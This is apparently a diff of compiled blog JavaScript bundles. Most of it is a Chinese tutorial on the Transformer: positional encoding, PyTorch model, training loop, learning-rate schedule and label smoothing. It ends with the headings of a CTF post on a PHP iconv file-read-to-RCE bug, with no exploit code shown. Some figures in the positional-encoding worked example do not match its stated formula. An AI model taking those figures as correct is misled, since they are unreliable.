x_0=[0.1,0.2,0.3,0.4]$\u5bf9\u5e94\u7684\u5c31\u662f\u201cI\u201d\u7684\u8bcd\u5411\u91cf\uff0c\u5b83\u7684pos\u5c31\u662f\u4e3a0\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u7b2c\u4e8c\u884c\u4ee3\u8868\u7684\u662f\u201clike\u201d\u7684\u8bcd\u5411\u91cf\uff0c\u5b83\u7684pos\u5c31\u662f1\uff1a\n$$\n\\rm x = \\begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \\ 0.2 & 0.3 & 0.4 & 0.5 \\ 0.3 & 0.4 & 0.5 & 0.6 \\ 0.4 & 0.5 & 0.6 & 0.7 \\end{bmatrix}\n$$\n\u200b\u5219\u7ecf\u8fc7\u4f4d\u7f6e\u7f16\u7801\u540e\u7684\u8bcd\u5411\u91cf\u4e3a\uff1a\n$$\n\\rm x_{PE} = \\begin{bmatrix} 0.1 & 0.2 & 0.3 & 0.4 \\ 0.2 & 0.3 & 0.4 & 0.5 \\ 0.3 & 0.4 & 0.5 & 0.6 \\ 0.4 & 0.5 & 0.6 & 0.7 \\end{bmatrix} + \\begin{bmatrix} \\sin(\\frac{0}{10000^0}) & \\cos(\\frac{0}{10000^0}) & \\sin(\\frac{0}{10000^{2/4}}) & \\cos(\\frac{0}{10000^{2/4}}) \\ \\sin(\\frac{1}{10000^0}) & \\cos(\\frac{1}{10000^0}) & \\sin(\\frac{1}{10000^{2/4}}) & \\cos(\\frac{1}{10000^{2/4}}) \\ \\sin(\\frac{2}{10000^0}) & \\cos(\\frac{2}{10000^0}) & \\sin(\\frac{2}{10000^{2/4}}) & \\cos(\\frac{2}{10000^{2/4}}) \\ \\sin(\\frac{3}{10000^0}) & \\cos(\\frac{3}{10000^0}) & \\sin(\\frac{3}{10000^{2/4}}) & \\cos(\\frac{3}{10000^{2/4}}) \\end{bmatrix} = \\begin{bmatrix} 0.1 & 1.2 & 0.3 & 1.4 \\ 1.041 & 0.84 & 0.41 & 1.49 \\ 1.209 & -0.016 & 0.52 & 1.59 \\ 0.541 & -0.489 & 0.895 & 1.655 \\end{bmatrix}\n$$\n\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u7684\u4ee3\u7801\u6765\u83b7\u53d6\u4e0a\u8ff0\u4f8b\u5b50\u7684\u4f4d\u7f6e\u7f16\u7801\uff1a'}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import numpy as np\nimport matplotlib.pyplot as plt\ndef PositionEncoding(seq_len, d_model, n=10000):\n P = np.zeros((seq_len, d_model))\n for k in range(seq_len):\n for i in np.arange(int(d_model/2)):\n denominator = np.power(n, 2*i/d_model)\n P[k, 2*i] = np.sin(k/denominator)\n P[k, 2*i+1] = np.cos(k/denominator)\n return P\n\nP = PositionEncoding(seq_len=4, d_model=4, n=100)\nprint(P)\n"})}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"[[ 0. 1. 0. 1. ]\n [ 0.84147098 0.54030231 0.09983342 0.99500417]\n [ 0.90929743 -0.41614684 0.19866933 0.98006658]\n [ 0.14112001 -0.9899925 0.29552021 0.95533649]]\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u8fd9\u6837\u7684\u4f4d\u7f6e\u7f16\u7801\u4e3b\u8981\u6709\u4e24\u4e2a\u597d\u5904\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"\u4f7f PE \u80fd\u591f\u9002\u5e94\u6bd4\u8bad\u7ec3\u96c6\u91cc\u9762\u6240\u6709\u53e5\u5b50\u66f4\u957f\u7684\u53e5\u5b50\uff0c\u5047\u8bbe\u8bad\u7ec3\u96c6\u91cc\u9762\u6700\u957f\u7684\u53e5\u5b50\u662f\u6709 20 \u4e2a\u5355\u8bcd\uff0c\u7a81\u7136\u6765\u4e86\u4e00\u4e2a\u957f\u5ea6\u4e3a 21 \u7684\u53e5\u5b50\uff0c\u5219\u4f7f\u7528\u516c\u5f0f\u8ba1\u7b97\u7684\u65b9\u6cd5\u53ef\u4ee5\u8ba1\u7b97\u51fa\u7b2c 21 \u4f4d\u7684 Embedding\u3002"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u4ee5\u8ba9\u6a21\u578b\u5bb9\u6613\u5730\u8ba1\u7b97\u51fa\u76f8\u5bf9\u4f4d\u7f6e\uff0c\u5bf9\u4e8e\u56fa\u5b9a\u957f\u5ea6\u7684\u95f4\u8ddd k\uff0cPE(pos+k) \u53ef\u4ee5\u7528 PE(pos) \u8ba1\u7b97\u5f97\u5230\u3002\u56e0\u4e3a Sin(A+B) = Sin(A)Cos(B) + Cos(A)Sin(B), Cos(A+B) = Cos(A)Cos(B) - Sin(A)Sin(B)\u3002"}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5173\u4e8e\u4f4d\u7f6e\u7f16\u7801\uff0c\u6709\u8bb8\u591a\u5b66\u8005\u4ece\u6570\u5b66\u7684\u89d2\u5ea6\u8bc1\u660e\u4e86\u8be5\u7f16\u7801\u65b9\u5f0f\u76f8\u5bf9\u4e8e\u5176\u4ed6\u66f4\u7b80\u5355\u3001\u76f4\u89c2\u7684\u7f16\u7801\u65b9\u5f0f\u7684\u4f18\u8d8a\u6027\u4e0e\u5fc5\u8981\u6027\uff0c\u7531\u4e8e\u672c\u6587\u91cd\u70b9\u5728\u4e8e\u4ee3\u7801\u7684\u89e3\u6790\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u67e5\u9605\u76f8\u5173\u8d44\u6599\uff0c\u5982\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://kazemnejad.com/blog/transformer_architecture_positional_encoding/",children:"Transformer Architecture: The Positional Encoding"}),"\u3001",(0,s.jsx)(e.a,{href:"https://machinelearningmastery.com/a-gentle-introduction-to-positional-encoding-in-transformer-models-part-1/",children:"A Gentle Introduction to Positional Encoding in Transformer Models"})," \u7b49\u3002"]}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u7f16\u7801\u7ed3\u679c\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.div,{align:"center",children:(0,s.jsx)(e.img,{src:"./figures/transformer_position_embedding.png",alt:"image-20230129201913077",style:{zoom:"50%"}})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f4d\u7f6e\u7f16\u7801\u7684\u5b9e\u73b0\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class PositionalEncoding(nn.Module):\n\n def __init__(self, d_model, dropout, max_len=5000):\n super(PositionalEncoding, self).__init__()\n self.dropout = nn.Dropout(p=dropout)\n\n # Compute the positional encodings once in log space.\n pe = torch.zeros(max_len, d_model)\n # \u4f4d\u7f6e\u77e9\u9635\uff0c\u521d\u59cb\u5316\u4e3a0\n position = torch.arange(0, max_len).unsqueeze(1)\n # \u516c\u5f0f\u4e2d\u7684POS\n div_term = torch.exp(\n torch.arange(0, d_model, 2) * -(math.log(10000.0) / d_model)\n )\n # \u6b64\u5904\u5bf9\u516c\u5f0f\u4e2d\u7684\u6307\u6570\u8ba1\u7b97\u53d6\u4e86\u4e2a\u5bf9\u6570\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n # \u57fa\u4e8e\u516c\u5f0f\u8ba1\u7b97\u4f4d\u7f6e\u7f16\u7801\n pe = pe.unsqueeze(0)\n self.register_buffer("pe", pe)\n # \u5b9a\u4e49\u4e00\u7ec4\u8bad\u7ec3\u4e2d\u4e0d\u4f1a\u6539\u53d8\u7684\u53c2\u6570pe\n\n def forward(self, x):\n x = x + self.pe[:, : x.size(1)].requires_grad_(False)\n # \u5411\u8bcd\u5411\u91cf\u4e2d\u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\n return self.dropout(x)\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u6700\u7ec8\u5efa\u6a21",children:"\u6700\u7ec8\u5efa\u6a21"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u5728\u5b8c\u6210\u4e0a\u8ff0\u5b9e\u73b0\u540e\uff0c\u518d\u5c06\u5176\u5404\u4e2a\u7ec4\u4ef6\u7ec4\u5408\u8d77\u6765\u5373\u53ef\uff0c\u6b64\u5904\u4f7f\u7528\u4e00\u4e2a\u51fd\u6570\u5efa\u7acb\u5b8c\u6574\u6a21\u578b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def make_model(\n src_vocab, tgt_vocab, N=6, d_model=512, d_ff=2048, h=8, dropout=0.1\n):\n "Helper: Construct a model from hyperparameters."\n c = copy.deepcopy\n attn = MultiHeadedAttention(h, d_model)\n # \u591a\u5934\u6ce8\u610f\u529b\u5c42\n ff = PositionwiseFeedForward(d_model, d_ff, dropout)\n # \u524d\u9988\u795e\u7ecf\u7f51\u7edc\u5c42\n position = PositionalEncoding(d_model, dropout)\n # \u4f4d\u7f6e\u7f16\u7801\u5c42\n model = EncoderDecoder(\n Encoder(EncoderLayer(d_model, c(attn), c(ff), dropout), N),\n # \u7f16\u7801\u5668\n Decoder(DecoderLayer(d_model, c(attn), c(attn), c(ff), dropout), N),\n # \u89e3\u7801\u5668\uff0c\u7b2c\u4e00\u4e2aattn\u4e3a\u81ea\u6ce8\u610f\u529b\u5c42\uff0c\u7b2c\u4e8c\u4e2aattn\u4e3a\u52a0\u5165\u7f16\u7801\u5668\u8f93\u51fa\u7684\u6ce8\u610f\u529b\u5c42\n nn.Sequential(Embeddings(d_model, src_vocab), c(position)),\n # \u8f93\u5165\u8bed\u6599\u7f16\u7801\u5c42\n nn.Sequential(Embeddings(d_model, tgt_vocab), c(position)),\n # \u8f93\u51fa\u8bed\u6599\u7f16\u7801\u5c42\n Generator(d_model, tgt_vocab),\n # \u5206\u7c7b\u5c42\n )\n\n # This was important from their code.\n # Initialize parameters with Glorot / fan_avg.\n for p in model.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n # \u521d\u59cb\u5316\u53c2\u6570\n return model\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u8bad\u7ec3",children:"\u8bad\u7ec3"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u57fa\u4e8e Pytorch \u5b9e\u73b0\u7684 Transformer \u7684\u8bad\u7ec3\u5927\u81f4\u6cbf\u7528\u4e86 Pytorch \u7684\u6846\u67b6\uff0c\u6574\u4f53\u6d41\u7a0b\u540c\u4f7f\u7528 Pytorch \u5efa\u7acb\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u7684\u6d41\u7a0b\u5927\u81f4\u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u5b9e\u73b0\u4e86\u4e00\u4e9b\u66f4\u5e95\u5c42\u7684\u7ec6\u8282\u81ea\u5b9a\u4e49\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"traning-loop",children:"Traning Loop"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4f5c\u8005\u5e76\u6ca1\u6709\u76f4\u63a5\u4f7f\u7528 Pytorch \u63d0\u4f9b\u7684\u8bad\u7ec3\u51fd\u6570\uff0c\u800c\u662f\u81ea\u5b9a\u4e49\u4e86\u4e00\u4e2a\u7528\u4e8e\u8bb0\u5f55\u8bad\u7ec3\u8fc7\u7a0b\u7684\u7c7b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class TrainState:\n """Track number of steps, examples, and tokens processed"""\n\n step: int = 0 # Steps in the current epoch\n accum_step: int = 0 # Number of gradient accumulation steps\n samples: int = 0 # total # of examples used\n tokens: int = 0 # total # of tokens processed\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200b\t\u63a5\u7740\uff0c\u57fa\u4e8e\u8be5\u7c7b\u7684\u5b9e\u73b0\u5b9a\u4e49\u4e86\u8fd0\u884c\u51fd\u6570\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def run_epoch(\n data_iter,# \u6570\u636e\u96c6\n model,# \u6a21\u578b\n loss_compute,# \u635f\u5931\u8ba1\u7b97\u51fd\u6570\n optimizer,# \u4f18\u5316\u5668\n scheduler,# \u8c03\u5ea6\u5668\n mode="train",# \u6a21\u5f0f\uff0c\u8bad\u7ec3\u6216\u6d4b\u8bd5\n accum_iter=1,# \u8fdb\u884c\u4f18\u5316\u7684\u8f6e\u6570\n train_state=TrainState(),\n):\n """Train a single epoch"""\n start = time.time()\n total_tokens = 0\n total_loss = 0\n tokens = 0\n n_accum = 0\n for i, batch in enumerate(data_iter):\n out = model.forward(\n batch.src, batch.tgt, batch.src_mask, batch.tgt_mask\n )# \u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\n loss, loss_node = loss_compute(out, batch.tgt_y, batch.ntokens)\n # \u8ba1\u7b97\u5f53\u4e0b\u7684\u6a21\u578b\u635f\u5931\n # loss_node = loss_node / accum_iter\n if mode == "train" or mode == "train+log":\n loss_node.backward()\n # \u8fd4\u4e61\u4f20\u64ad\n train_state.step += 1\n train_state.samples += batch.src.shape[0]\n train_state.tokens += batch.ntokens\n if i % accum_iter == 0:\n # \u6bcf\u9694 accum_iter \u8f6e\u4f18\u5316\u4e00\u6b21\n optimizer.step()\n optimizer.zero_grad(set_to_none=True)\n n_accum += 1\n train_state.accum_step += 1\n scheduler.step()\n\n total_loss += loss\n total_tokens += batch.ntokens\n tokens += batch.ntokens\n if i % 40 == 1 and (mode == "train" or mode == "train+log"):\n lr = optimizer.param_groups[0]["lr"]\n elapsed = time.time() - start\n print(\n (\n "Epoch Step: %6d | Accumulation Step: %3d | Loss: %6.2f "\n + "| Tokens / Sec: %7.1f | Learning Rate: %6.1e"\n )\n % (i, n_accum, loss / batch.ntokens, tokens / elapsed, lr)\n )\n start = time.time()\n tokens = 0\n del loss\n del loss_node\n return total_loss / total_tokens, train_state\n'})}),"\n",(0,s.jsx)(e.h3,{id:"\u4f18\u5316\u5668",children:"\u4f18\u5316\u5668"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5728 Transformer \u4e2d\uff0c\u4f7f\u7528\u4e86 Adam \u4f18\u5316\u5668\uff0c\u8be5\u4f18\u5316\u5668\u5b66\u4e60\u7387\u7684\u8ba1\u7b97\u57fa\u4e8e\u4e0b\u5f0f\uff1a\n$$\n\\rm learning rate=d^{-0.5}_{model} * min(step_num^{-0.5}, step_num * warmup_steps^{-1.5})\n$$\n\u200b\u4e3a\u4f55\u9009\u62e9\u8be5\u4f18\u5316\u5668\uff0c\u4ee5\u53ca\u8be5\u4f18\u5316\u5668\u6709\u4ec0\u4e48\u4f18\u52bf\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u67e5\u9605\u76f8\u5173\u8d44\u6599\u5982\uff1a",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/90169812",children:"\u3010Adam\u3011\u4f18\u5316\u7b97\u6cd5\u6d45\u6790"}),"\u6765\u6df1\u5165\u63a2\u7a76\u5176\u5185\u90e8\u6570\u5b66\u539f\u7406\uff0c\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0\u3002\u57fa\u4e8e\u4e0a\u5f0f\uff0c\u5176\u4f18\u5316\u5668\u5b9e\u73b0\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'def rate(step, model_size, factor, warmup):\n """\n we have to default the step to 1 for LambdaLR function\n to avoid zero raising to negative power.\n """\n if step == 0:\n step = 1\n return factor * (\n model_size ** (-0.5) * min(step ** (-0.5), step * warmup ** (-1.5))\n )\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u200bPytorch \u4e5f\u63d0\u4f9b\u4e86\u5404\u79cd\u4f18\u5316\u5668\u7684\u8c03\u7528 API\uff0c\u4e5f\u5305\u62ec Adam\uff0c\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u6b63\u5219\u5316",children:"\u6b63\u5219\u5316"}),"\n",(0,s.jsxs)(e.p,{children:["\u200b\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e86\u6807\u7b7e\u5e73\u6ed1\u6765\u5b9e\u73b0\u6b63\u5219\u5316\uff0c\u4ece\u800c\u63d0\u9ad8\u6a21\u578b\u9884\u6d4b\u7684\u51c6\u786e\u7387\u3002\u5177\u4f53\u7684\uff0c\u4f7f\u7528\u4e86 KL \u6563\u5ea6\u6765\u8ba1\u7b97\u6807\u7b7e\u5e73\u6ed1\uff0c\u6b64\u5904\u540c\u6837\u4e0d\u518d\u8d58\u8ff0\u6807\u7b7e\u5e73\u6ed1\u3001KL \u6563\u5ea6\u7684\u539f\u7406\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u53c2\u9605\u4e0b\u5217\u535a\u5ba2\uff1a",(0,s.jsx)(e.a,{href:"https://blog.csdn.net/Roaddd/article/details/114761023",children:"\u3010\u6b63\u5219\u5316\u3011Label Smoothing\u8be6\u89e3"}),"\u3001",(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/100676922",children:"Kullback-Leibler(KL)\u6563\u5ea6\u4ecb\u7ecd"}),"\u3002\u6807\u7b7e\u5e73\u6ed1\u7684\u4ee3\u7801\u5b9e\u73b0\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'class LabelSmoothing(nn.Module):\n "Implement label smoothing."\n\n def __init__(self, size, padding_idx, smoothing=0.0):\n super(LabelSmoothing, self).__init__()\n self.criterion = nn.KLDivLoss(reduction="sum")# \u4f7f\u7528 KL \u6563\u5ea6\u8ba1\u7b97\n self.padding_idx = padding_idx # \u906e\u63a9\u90e8\u5206index\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n self.size = size\n self.true_dist = None\n\n def forward(self, x, target):\n assert x.size(1) == self.size\n true_dist = x.data.clone()\n true_dist.fill_(self.smoothing / (self.size - 2))\n true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)\n true_dist[:, self.padding_idx] = 0\n mask = torch.nonzero(target.data == self.padding_idx)\n if mask.dim() > 0:\n true_dist.index_fill_(0, mask.squeeze(), 0.0)\n self.true_dist = true_dist\n return self.criterion(x, true_dist.clone().detach())\n'})}),"\n",(0,s.jsx)(e.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,s.jsx)(e.h3,{id:"\u4f18\u70b9",children:"\u4f18\u70b9"}),"\n",(0,s.jsx)(e.p,{children:"\u200bTransformer \u4f5c\u4e3a NLP \u53d1\u5c55\u53f2\u4e0a\u91cc\u7a0b\u7891\u7684\u6a21\u578b\uff0c\u662f\u5177\u6709\u8f83\u5927\u521b\u65b0\u6027\u548c\u6307\u5bfc\u6027\u7684\u3002\u5176\u521b\u9020\u6027\u5730\u629b\u5f03\u4e86\u6cbf\u7528\u4e86\u51e0\u5341\u5e74\u7684 CNN\u3001RNN \u67b6\u6784\uff0c\u5b8c\u5168\u4f7f\u7528 Attention \u673a\u5236\u6765\u642d\u5efa\u7f51\u7edc\u5e76\u53d6\u5f97\u4e86\u826f\u597d\u7684\u6548\u679c\uff0c\u5e2e\u52a9 Attention \u673a\u5236\u7ad9\u4e0a\u4e86\u65f6\u4ee3\u7684\u821e\u53f0\u3002\u800c\u8bba\u53ca\u6a21\u578b\u672c\u8eab\uff0cAttention \u673a\u5236\u7684\u4f7f\u7528\u4f7f\u5176\u80fd\u591f\u6709\u6548\u6355\u6349\u957f\u8ddd\u79bb\u76f8\u5173\u6027\uff0c\u89e3\u51b3\u4e86 NLP \u9886\u57df\u68d8\u624b\u7684\u957f\u8ddd\u4f9d\u8d56\u95ee\u9898\uff0c\u540c\u65f6\uff0c\u629b\u5f03\u4e86 RNN \u67b6\u6784\u4f7f\u5176\u80fd\u591f\u5145\u5206\u5b9e\u73b0\u5e76\u884c\u5316\uff0c\u63d0\u5347\u4e86\u6a21\u578b\u8ba1\u7b97\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"\u7f3a\u70b9",children:"\u7f3a\u70b9"}),"\n",(0,s.jsx)(e.p,{children:"\u200b\u4e0d\u53ef\u5426\u8ba4\uff0cTransformer \u4e5f\u5b58\u5728\u8bf8\u591a\u7f3a\u9677\u3002\u6700\u660e\u663e\u7684\u4e00\u70b9\u662f\uff0c\u63d0\u51fa\u8be5\u6a21\u578b\u7684\u8bba\u6587\u540d\u4e3a\u300aAttention Is All You Need\u300b\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u6211\u4eec\u771f\u7684\u4ec5\u4ec5\u53ea\u9700\u8981 Attention \u5417\uff1f\u7c97\u66b4\u7684\u629b\u5f03 CNN \u4e0e RNN \u867d\u7136\u975e\u5e38\u70ab\u6280\uff0c\u4f46\u4e5f\u4f7f\u6a21\u578b\u4e27\u5931\u4e86\u6355\u6349\u5c40\u90e8\u7279\u5f81\u7684\u80fd\u529b\uff0cRNN + CNN + Attention \u4e5f\u8bb8\u80fd\u591f\u5e26\u6765\u66f4\u597d\u7684\u6548\u679c\u3002\u5176\u6b21\uff0cAttention \u673a\u5236\u5931\u53bb\u4e86\u4f4d\u7f6e\u4fe1\u606f\uff0c\u867d\u7136 Transformer \u4f7f\u7528\u4e86 Positional Encoding \u6765\u8865\u5145\u4f4d\u7f6e\u4fe1\u606f\uff0c\u4f46\u53ea\u662f\u6743\u5b9c\u4e4b\u8ba1\uff0c\u6ca1\u6709\u6539\u53d8\u5176\u7ed3\u6784\u4e0a\u7684\u56fa\u6709\u7f3a\u9677\u3002\u6700\u540e\uff0cAttention \u673a\u5236\u7684\u53c2\u6570\u91cf\u5e9e\u5927\uff0c\u8bad\u7ec3\u7684\u95e8\u69db\u4e0e\u6210\u672c\u4e5f\u6709\u4e86\u4e00\u5b9a\u63d0\u9ad8\u3002\u56e0\u6b64\uff0c\u6b63\u662f\u5728 Transformer \u63d0\u51fa\u4e4b\u540e\uff0c\u5982 BERT\u3001XLNet \u7b49\u57fa\u4e8e Transformer \u7ed3\u6784\u7684\u5f3a\u5927\u3001\u6602\u8d35\u7684\u9884\u8bad\u7ec3\u6a21\u578b\u4e5f\u9010\u6b65\u767b\u4e0a\u65f6\u4ee3\u7684\u821e\u53f0\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u53c2\u8003\u6750\u6599",children:"\u53c2\u8003\u6750\u6599\uff1a"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://arxiv.org/abs/1706.03762",children:"Attention Is All You Need"})}),"\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://lilianweng.github.io/posts/2018-06-24-attention/",children:"https://lilianweng.github.io/posts/2018-06-24-attention/"})}),"\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/48508221",children:"https://zhuanlan.zhihu.com/p/48508221"})}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,o.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(c,{...n})}):c(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>i,x:()=>a});var r=t(96540);const s={},o=r.createContext(s);function i(n){const e=r.useContext(o);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function a(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:i(n.components),r.createElement(o.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/592afc05.bf48abdb.js b/en/assets/js/592afc05.bf48abdb.js new file mode 100644 index 0000000..a09b239 --- /dev/null +++ b/en/assets/js/592afc05.bf48abdb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5702],{28453:(e,n,c)=>{c.d(n,{R:()=>r,x:()=>l});var i=c(96540);const s={},d=i.createContext(s);function r(e){const n=i.useContext(d);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function l(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),i.createElement(d.Provider,{value:n},e.children)}},88070:(e,n,c)=>{c.r(n),c.d(n,{assets:()=>o,contentTitle:()=>l,default:()=>x,frontMatter:()=>r,metadata:()=>i,toc:()=>h});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"KnownSec 2023\u5e74\u5ea6\u7b2c\u4e94\u6b21\u5185\u90e8\u653b\u9632\u6f14\u7ec3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/Knownsec/knownsec-ctf-09/"},"next":{"title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"}}');var s=c(74848),d=c(28453);const r={},l="01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09",o={},h=[{value:"\u4ecb\u7ecd",id:"\u4ecb\u7ecd",level:2},{value:"\u53d1\u73b0\uff1a\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",id:"\u53d1\u73b0\u4e00\u4e2a\u5173\u4e8e\u8fc7\u6ee4\u5668\u7684\u6545\u4e8b",level:2},{value:"PHP \u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",id:"php-\u4e2d\u7684\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed",level:3},{value:"PHP\u8fc7\u6ee4\u5668\u7b80\u4ecb",id:"php\u8fc7\u6ee4\u5668\u7b80\u4ecb",level:3},{value:"PHP \u8fc7\u6ee4\u5668\uff1a\u524d\u7f00\u3001\u540e\u7f00\u548c crash",id:"php-\u8fc7\u6ee4\u5668\u524d\u7f00\u540e\u7f00\u548c-crash",level:3},{value:"Glibc \u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befCVE-2024-2961",id:"glibc-\u4e2d\u5b58\u5728\u4e00\u4e2a\u9519\u8befcve-2024-2961",level:2},{value:"The <code>iconv()</code> API",id:"the-iconv-api",level:3},{value:"\u8f6c\u6362\u4e3a ISO-2022-CN-EXT \u65f6\u51fa\u754c\u5199\u5165",id:"\u8f6c\u6362\u4e3a-iso-2022-cn-ext-\u65f6\u51fa\u754c\u5199\u5165",level:3},{value:"\u6761\u4ef6\u548c\u539f\u59cb",id:"\u6761\u4ef6\u548c\u539f\u59cb",level:3},{value:"libxml2\uff1a\u5b57\u8282\u7684\u6d77\u6d0b",id:"libxml2\u5b57\u8282\u7684\u6d77\u6d0b",level:4},{value:"pkexec\uff1a4 